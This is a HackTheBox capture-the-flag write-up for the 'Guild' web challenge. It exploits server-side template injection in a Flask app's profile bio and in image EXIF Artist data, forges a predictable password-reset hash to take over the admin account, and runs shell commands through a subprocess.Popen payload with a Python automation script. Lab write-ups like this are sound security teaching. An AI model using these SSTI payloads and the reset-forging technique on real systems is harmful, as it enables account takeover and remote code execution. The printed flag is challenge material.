Skip to content

Guild

* 🌐 Website: HackTheBox

  • 🔥 Level: Easy
  • 📚 Category: Web
  • 🔗 Link: Guild

📜 Description

Welcome to the Guild ! But please wait until our Guild Master verify you. Thanks for the wait

📋 Walkthrough

We go to the website guild

It looks like a game-based site. Let’s try to register and log in. On the home page it’s possible to upload a file at the URL /verification.

verificaion

I uploaded an image file for testing. It says the file has been sent to the GameMaster. In the profile it’s possible to set a Bio. Maybe there’s XSS? Let’s try.

If I put a classic payload it says:

Avoid Bad Characters!

Let’s see what’s inside the source code available in the challenge. There’s a function that verifies files:

ALLOWED_EXTENSIONS = {"png", "jpg", "jpeg"}

def allowed_file(filename):
    return "." in filename and \
           filename.rsplit(".", 1)[1].lower() in ALLOWED_EXTENSIONS

And also a function that filters words in the bio:

    payloads = [
        "*",
        "script",
        "alert",
        "debug",
        "%",
        "include",
        "html",
        "if",
        "for",
        "config",
        "img",
        "src",
        ".py",
        "main",
        "herf",
        "pre",
        "class",
        "subclass",
        "base",
        "mro",
        "__",
        "[",
        "]",
        "def",
        "return",
        "self",
        "os",
        "popen",
        "init",
        "globals",
        "base",
        "class",
        "request",
        "attr",
        "args",
        "eval",
        "newInstance",
        "getEngineByName",
        "getClass",
        "join"
    ]

This function takes the file name, splits it on the ., and checks if the second occurrence is a png, jpg, or jpeg. This means files like .png.py are allowed. There are also functions pointing to pages not visible from the menu:

@views.route("/getlink")
@login_required
def create_share():
    username = current_user.username
    query = Validlinks.query.filter_by(validlink=username).first()
    if query:
        pass 
    else:
        new_query = Validlinks(email=current_user.email, validlink=current_user.username)
        db.session.add(new_query)
        db.session.commit()
    link = "/user/" + str(current_user.username)
    return render_template("getlink.html", link=link, user=current_user)


@views.route("/user/<link>")
def share(link):
    query = Validlinks.query.filter_by(validlink=link).first()
    if query:
        email = query.email
        query1 = User.query.filter_by(email=email).first()
        bio = Verification.query.filter_by(user_id=query1.id).first().bio
        temp = open("/app/website/templates/newtemplate/shareprofile.html", "r").read()
        return render_template_string(temp % bio, User=User, Email=email, username=query1.username)

In this function share takes the bio and renders it without sanitization. This could be vulnerable to SSTI. Going first to /getlink and then to /user/aab I found the description:

<p class="para-class">fff</p>

Let’s try a payload like {{ 7/7 }}

<p class="para-class">1.0</p>

It works! Now we need to find a way to get the flag. Let’s try to get the admin password:

{{ User.query.filter_by(username="admin").first().password }}

scrypt:32768:8:1$XRU4up4fTHzVRMAQ$0988582c51303a334d1f1fd80224cbb98f55b0426d55eedf101c15d0c99b5f461b87e8c352c388bbc54f1c82eebfb9ba3c267c366f10ce229fb4c8437f7fa62b

If we have the email, we can change the password:

{{ User.query.filter_by(username="admin").first().email }}

51465353746b6131@master.guild

Let’s check the reset password function:

@views.route("/forgetpassword", methods=["GET", "POST"])
def forgetpassword():
    if request.method == "POST":
        email = request.form.get("email")
        query = User.query.filter_by(email=email).first()
        flash("If email is registered then you will get a link to reset password!", category="success")
        if query:
            # send email the below link
            reset_url = str(hashlib.sha256(email.encode()).hexdigest())
            print(reset_url)
            new_query = Validlinks(email=email, validlink=reset_url)
            db.session.add(new_query)
            db.session.commit()

        return redirect(url_for("views.home"))

    return render_template("forgetpassword.html", user=current_user)

As we can see, it creates a new link from the encoded email. Let’s calculate it:

>>> email = "51465353746b6131@master.guild"
>>> import hashlib
>>> str(hashlib.sha256(email.encode()).hexdigest())
'c1ee245b0fdb9da6b70a3c02ebb70112bacf6346911755604b2b03530630f5f0'
>>> 

Now let’s see what happens next:

@views.route("/changepasswd/<Hash>",methods=["GET", "POST"])
def changepasswd(Hash):
    query = Validlinks.query.filter_by(validlink=Hash).first()
    if query:
        if request.method == "POST":
            email = query.email
            query1 = User.query.filter_by(email=email).first()
            new_password = request.form.get("password")
            query1.password = generate_password_hash(new_password, method="sha256")
            db.session.commit()
            db.session.delete(query)
            db.session.commit()
            flash("Password Updated!",category="success")
            redirect(url_for("views.home"))

        return render_template("resetpassword.html", user=current_user, email=query.email)

So we need to follow these steps:

  • Calculate the hash: c1ee245b0fdb9da6b70a3c02ebb70112bacf6346911755604b2b03530630f5f0
  • Request password reset for 51465353746b6131@master.guild
  • Go to /changepasswd/c1ee245b0fdb9da6b70a3c02ebb70112bacf6346911755604b2b03530630f5f0 and change the password

passw

Logging into the site as admin we find the submitted requests, but none verify correctly. Let’s see what /verify does:

def verify():
    if current_user.username == "admin":
        if request.method == "POST":
            user_id = request.form.get("user_id")
            verf_id = request.form.get("verification_id")
            query = Verification.query.filter_by(id=verf_id).first()

            img = Image.open(query.doc)

            exif_table={}

            for k, v in img.getexif().items():
                tag = TAGS.get(k)
                exif_table[tag]=v

            if "Artist" in exif_table.keys():
                sec_code = exif_table["Artist"]
                query.verified = 1
                db.session.commit()
                return render_template_string("Verified! {}".format(sec_code))
            else:
                return render_template_string("Not Verified! :(")
    else:
        flash("Oops", category="error")
        return redirect(url_for("views.home"))

Ok, to pass it must contain the field Artist in the exif data. Let’s do it:

┌──(kali㉿kali)-[~/Downloads]
└─$ exiftool -Artist="Pwn3d" cat.jpg
    1 image files updated

Let’s create a new user and verify ourselves. When we get verified, the author is reflected in the browser without SSTI filters. We can try to do a cat /flag.txt. To make it faster, I wrote a Python script to automate registration, login, exif modification, upload, admin login, and verification.

import requests
import piexif
from PIL import Image
import random

url = "http://94.237.121.82:36845/"
file = "cat.jpg"

admin_session = requests.Session()
admin_session.post(
    url + "/login",
    verify=False,
    data={"username": "admin", "password": "aaa"}
)


def signup(userpass):
    s = requests.Session()
    requests.post(
        url + "/signup",
        verify=False,
        data={"username": userpass, "email": f"{userpass}@aa.com", "password": userpass}
    )
    s.post(
        url + "/login",
        verify=False,
        data={"username": userpass, "password": userpass}
    )
    return s


# Edit artist in exif named "Artist"
def edit_exif(file, cmd):
    img = Image.open(file)
    exif_dict = piexif.load(img.info.get("exif", b""))
    exif_dict['0th'][315] = cmd.encode()  # 315 = tag Artist
    exif_bytes = piexif.dump(exif_dict)
    img.save(file, "jpeg", exif=exif_bytes)  # sovrascrive il file originale
    return file


def verify(id):
    r = admin_session.post(
        url + "/verify",
        verify=False,
        data={"user_id": id, "verification_id": id - 1}
    )
    return r.text


def upload_image(s, file):
    with open(file, "rb") as f:
        files = {"file": (file, f, "image/jpeg")}
        r = s.post(url + "/verification", files=files)
    return r.text


i = 2
while True:
    cmd = input("> ")
    if cmd == "exit":
        break

    # Signup
    s = signup(str(random.randint(100000, 999999)))

    # Edit exif
    new_file = edit_exif(file, cmd)

    # Upload
    print(upload_image(s, new_file))

    # Verify
    r = admin_session.post(
        url + "/verify",
        verify=False,
        data={"user_id": i, "verification_id": i - 1}
    )
    print(r.text.replace("Verified! ", ""))
    i += 1

Example run:

┌──(kalikali)-[~/Desktop/HTB]
└─$ python3 script.py 
> {{ 7*7 }}
49
> 

Now I can inject code through SSTI more easily. Let’s find Popen:

> {{''.__class__.__base__.__subclasses__()}}
...

In my case Popen is at 527.

> {{''.__class__.__base__.__subclasses__()[527]}}
<class 'subprocess.Popen'>

> {{''.__class__.__base__.__subclasses__()[527]('cmd', shell=True, stdout=-1).communicate()}}

Now we can try to read the flag. I edited the script to make commands easier:

┌──(kali㉿kali)-[~/Desktop/HTB]
└─$ python3 script.py
> whoami
(b'root\n', None)
> ls
(b'flag.txt\nguild\ninstance\nmain.py\nrequirements.txt\nwebsite\n', None)
> cat flag.txt
(b'****', None)
Answer

HTB{mult1pl3_lo0p5_mult1pl3_h0les_***}